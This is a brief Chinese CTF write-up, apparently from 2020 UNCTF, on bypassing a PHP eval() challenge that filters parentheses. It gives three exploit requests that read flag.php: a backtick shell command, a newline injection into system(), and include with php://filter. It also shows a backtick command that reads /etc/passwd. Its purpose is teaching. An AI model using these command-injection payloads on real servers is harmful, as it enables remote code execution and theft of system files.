php執行運算符
代碼:
<?php echo `base64 /etc/passwd`; ?>
上面的代碼使用了反引號,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,並將其輸出信息返回(即,可以賦給一個變量而不是簡單地丟棄到標准輸出)
如果過濾了括號可以使用執行運算符去繞過進行輸出
題目源碼:
<?php // flag在flag.php if(isset($_GET['a'])){ if(preg_match('/\(.*\)/', $_GET['a'])) die('hacker!!!'); ob_start(function($data){ if (strpos($data, 'flag') !== false) return 'ByeBye hacker'; return false; }); eval($_GET['a']); } else { highlight_file(__FILE__); } ?>
exp1:php執行運算符
GET /?a=echo `base64 flag.php`
exp2:換行符繞過(%0a)
GET /?a=system(%27%0acat%20f*%20|%20base64%27);
exp3:利用include函數加php偽協議
GET /a=include%20%27php://filter/convert.base64-encode/resource=./flag.php%27;
參考:https://www.php.net/manual/zh/language.operators.execution.php
https://www.ctfwp.com/%E5%AE%98%E6%96%B9%E8%B5%9B%E4%BA%8B%E9%A2%98/2020UNCTF